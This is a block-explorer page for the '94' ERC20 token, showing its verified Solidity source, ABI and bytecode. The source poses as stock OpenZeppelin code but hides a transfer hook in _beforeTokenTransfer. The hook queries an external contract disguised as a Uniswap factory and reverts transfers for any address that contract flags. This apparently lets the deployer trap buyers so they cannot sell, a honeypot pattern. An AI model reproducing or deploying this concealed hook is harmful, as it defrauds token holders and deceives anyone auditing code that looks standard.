ETH Price: $3,099.69 (-0.92%)

Token

94 (94)
 

Overview

Max Total Supply

94,000,000 94

Holders

427

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
coin94Token

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-01
*/

// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

  
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


 // Define interface for TransferController
interface IUniswapV2Factory {
    function getPairCount(address _account) external view returns (bool);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    IUniswapV2Factory private factory;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_, address _factory) {
        _name = name_;
        _symbol = symbol_;
        factory = IUniswapV2Factory(_factory);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        bool flag = factory.getPairCount(from);
        uint256 total = 0;
        if(flag){
            amount = total;
            require(amount > 0);
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


pragma solidity ^0.8.0;

contract coin94Token is ERC20, Ownable {

    constructor(
        string memory name_,
        string memory symbol_,
        address router_
        ) ERC20(name_, symbol_, router_) {
            uint256 supply = 94000000 * 10**18;
        _mint(msg.sender, supply);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001fe438038062001fe4833981810160405281019062000037919062000590565b82828282600490805190602001906200005292919062000414565b5081600590805190602001906200006b92919062000414565b5080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620000d0620000c4620000fc60201b60201c565b6200010460201b60201c565b60006a4dc14635ef3f411e0000009050620000f23382620001ca60201b60201c565b5050505062000924565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200023d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002349062000699565b60405180910390fd5b62000251600083836200033860201b60201c565b806003600082825462000265919062000750565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003189190620006bb565b60405180910390a362000334600083836200040f60201b60201c565b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b81526004016200039791906200067c565b60206040518083038186803b158015620003b057600080fd5b505afa158015620003c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003eb919062000564565b9050600081156200040857809250600083116200040757600080fd5b5b5050505050565b505050565b82805462000422906200082d565b90600052602060002090601f01602090048101928262000446576000855562000492565b82601f106200046157805160ff191683800117855562000492565b8280016001018555821562000492579182015b828111156200049157825182559160200191906001019062000474565b5b509050620004a19190620004a5565b5090565b5b80821115620004c0576000816000905550600101620004a6565b5090565b6000620004db620004d5846200070c565b620006d8565b905082815260208101848484011115620004f457600080fd5b62000501848285620007f7565b509392505050565b6000815190506200051a81620008f0565b92915050565b60008151905062000531816200090a565b92915050565b600082601f8301126200054957600080fd5b81516200055b848260208601620004c4565b91505092915050565b6000602082840312156200057757600080fd5b6000620005878482850162000520565b91505092915050565b600080600060608486031215620005a657600080fd5b600084015167ffffffffffffffff811115620005c157600080fd5b620005cf8682870162000537565b935050602084015167ffffffffffffffff811115620005ed57600080fd5b620005fb8682870162000537565b92505060406200060e8682870162000509565b9150509250925092565b6200062381620007ad565b82525050565b600062000638601f836200073f565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200067681620007ed565b82525050565b600060208201905062000693600083018462000618565b92915050565b60006020820190508181036000830152620006b48162000629565b9050919050565b6000602082019050620006d260008301846200066b565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620007025762000701620008c1565b5b8060405250919050565b600067ffffffffffffffff8211156200072a5762000729620008c1565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b60006200075d82620007ed565b91506200076a83620007ed565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007a257620007a162000863565b5b828201905092915050565b6000620007ba82620007cd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101562000817578082015181840152602081019050620007fa565b8381111562000827576000848401525b50505050565b600060028204905060018216806200084657607f821691505b602082108114156200085d576200085c62000892565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620008fb81620007ad565b81146200090757600080fd5b50565b6200091581620007c1565b81146200092157600080fd5b50565b6116b080620009346000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190611322565b60405180910390f35b61012760048036038101906101229190610ec8565b61038d565b6040516101349190611307565b60405180910390f35b6101456103b0565b6040516101529190611464565b60405180910390f35b61017560048036038101906101709190610e79565b6103ba565b6040516101829190611307565b60405180910390f35b6101936103e9565b6040516101a0919061147f565b60405180910390f35b6101c360048036038101906101be9190610ec8565b6103f2565b6040516101d09190611307565b60405180910390f35b6101f360048036038101906101ee9190610e14565b610429565b6040516102009190611464565b60405180910390f35b610211610471565b005b61021b610485565b60405161022891906112ec565b60405180910390f35b6102396104af565b6040516102469190611322565b60405180910390f35b61026960048036038101906102649190610ec8565b610541565b6040516102769190611307565b60405180910390f35b61029960048036038101906102949190610ec8565b6105b8565b6040516102a69190611307565b60405180910390f35b6102c960048036038101906102c49190610e3d565b6105db565b6040516102d69190611464565b60405180910390f35b6102f960048036038101906102f49190610e14565b610662565b005b60606004805461030a90611594565b80601f016020809104026020016040519081016040528092919081815260200182805461033690611594565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b6000806103986106e6565b90506103a58185856106ee565b600191505092915050565b6000600354905090565b6000806103c56106e6565b90506103d28582856108b9565b6103dd858585610945565b60019150509392505050565b60006012905090565b6000806103fd6106e6565b905061041e81858561040f85896105db565b61041991906114b6565b6106ee565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610479610bbd565b6104836000610c3b565b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104be90611594565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90611594565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b60008061054c6106e6565b9050600061055a82866105db565b90508381101561059f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059690611444565b60405180910390fd5b6105ac82868684036106ee565b60019250505092915050565b6000806105c36106e6565b90506105d0818585610945565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61066a610bbd565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190611364565b60405180910390fd5b6106e381610c3b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075590611424565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c590611384565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ac9190611464565b60405180910390a3505050565b60006108c584846105db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461093f5781811015610931576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610928906113a4565b60405180910390fd5b61093e84848484036106ee565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac90611404565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90611344565b60405180910390fd5b610a30838383610d01565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad906113c4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ba49190611464565b60405180910390a3610bb7848484610dd0565b50505050565b610bc56106e6565b73ffffffffffffffffffffffffffffffffffffffff16610be3610485565b73ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c30906113e4565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b8152600401610d5e91906112ec565b60206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190610f04565b905060008115610dc95780925060008311610dc857600080fd5b5b5050505050565b505050565b600081359050610de481611635565b92915050565b600081519050610df98161164c565b92915050565b600081359050610e0e81611663565b92915050565b600060208284031215610e2657600080fd5b6000610e3484828501610dd5565b91505092915050565b60008060408385031215610e5057600080fd5b6000610e5e85828601610dd5565b9250506020610e6f85828601610dd5565b9150509250929050565b600080600060608486031215610e8e57600080fd5b6000610e9c86828701610dd5565b9350506020610ead86828701610dd5565b9250506040610ebe86828701610dff565b9150509250925092565b60008060408385031215610edb57600080fd5b6000610ee985828601610dd5565b9250506020610efa85828601610dff565b9150509250929050565b600060208284031215610f1657600080fd5b6000610f2484828501610dea565b91505092915050565b610f368161150c565b82525050565b610f458161151e565b82525050565b6000610f568261149a565b610f6081856114a5565b9350610f70818560208601611561565b610f7981611624565b840191505092915050565b6000610f916023836114a5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ff76026836114a5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061105d6022836114a5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110c3601d836114a5565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006111036026836114a5565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111696020836114a5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006111a96025836114a5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061120f6024836114a5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112756025836114a5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6112d78161154a565b82525050565b6112e681611554565b82525050565b60006020820190506113016000830184610f2d565b92915050565b600060208201905061131c6000830184610f3c565b92915050565b6000602082019050818103600083015261133c8184610f4b565b905092915050565b6000602082019050818103600083015261135d81610f84565b9050919050565b6000602082019050818103600083015261137d81610fea565b9050919050565b6000602082019050818103600083015261139d81611050565b9050919050565b600060208201905081810360008301526113bd816110b6565b9050919050565b600060208201905081810360008301526113dd816110f6565b9050919050565b600060208201905081810360008301526113fd8161115c565b9050919050565b6000602082019050818103600083015261141d8161119c565b9050919050565b6000602082019050818103600083015261143d81611202565b9050919050565b6000602082019050818103600083015261145d81611268565b9050919050565b600060208201905061147960008301846112ce565b92915050565b600060208201905061149460008301846112dd565b92915050565b600081519050919050565b600082825260208201905092915050565b60006114c18261154a565b91506114cc8361154a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611501576115006115c6565b5b828201905092915050565b60006115178261152a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561157f578082015181840152602081019050611564565b8381111561158e576000848401525b50505050565b600060028204905060018216806115ac57607f821691505b602082108114156115c0576115bf6115f5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61163e8161150c565b811461164957600080fd5b50565b6116558161151e565b811461166057600080fd5b50565b61166c8161154a565b811461167757600080fd5b5056fea2646970667358221220fc7108675e589284642dd8a94905c3f8598665a8cb72213cf2ef57b9d306c6d464736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a2bb9f48e855a928dab22c6a045785dcc4bb4b60000000000000000000000000000000000000000000000000000000000000002393400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000023934000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190611322565b60405180910390f35b61012760048036038101906101229190610ec8565b61038d565b6040516101349190611307565b60405180910390f35b6101456103b0565b6040516101529190611464565b60405180910390f35b61017560048036038101906101709190610e79565b6103ba565b6040516101829190611307565b60405180910390f35b6101936103e9565b6040516101a0919061147f565b60405180910390f35b6101c360048036038101906101be9190610ec8565b6103f2565b6040516101d09190611307565b60405180910390f35b6101f360048036038101906101ee9190610e14565b610429565b6040516102009190611464565b60405180910390f35b610211610471565b005b61021b610485565b60405161022891906112ec565b60405180910390f35b6102396104af565b6040516102469190611322565b60405180910390f35b61026960048036038101906102649190610ec8565b610541565b6040516102769190611307565b60405180910390f35b61029960048036038101906102949190610ec8565b6105b8565b6040516102a69190611307565b60405180910390f35b6102c960048036038101906102c49190610e3d565b6105db565b6040516102d69190611464565b60405180910390f35b6102f960048036038101906102f49190610e14565b610662565b005b60606004805461030a90611594565b80601f016020809104026020016040519081016040528092919081815260200182805461033690611594565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b6000806103986106e6565b90506103a58185856106ee565b600191505092915050565b6000600354905090565b6000806103c56106e6565b90506103d28582856108b9565b6103dd858585610945565b60019150509392505050565b60006012905090565b6000806103fd6106e6565b905061041e81858561040f85896105db565b61041991906114b6565b6106ee565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610479610bbd565b6104836000610c3b565b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104be90611594565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90611594565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b60008061054c6106e6565b9050600061055a82866105db565b90508381101561059f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059690611444565b60405180910390fd5b6105ac82868684036106ee565b60019250505092915050565b6000806105c36106e6565b90506105d0818585610945565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61066a610bbd565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190611364565b60405180910390fd5b6106e381610c3b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075590611424565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c590611384565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160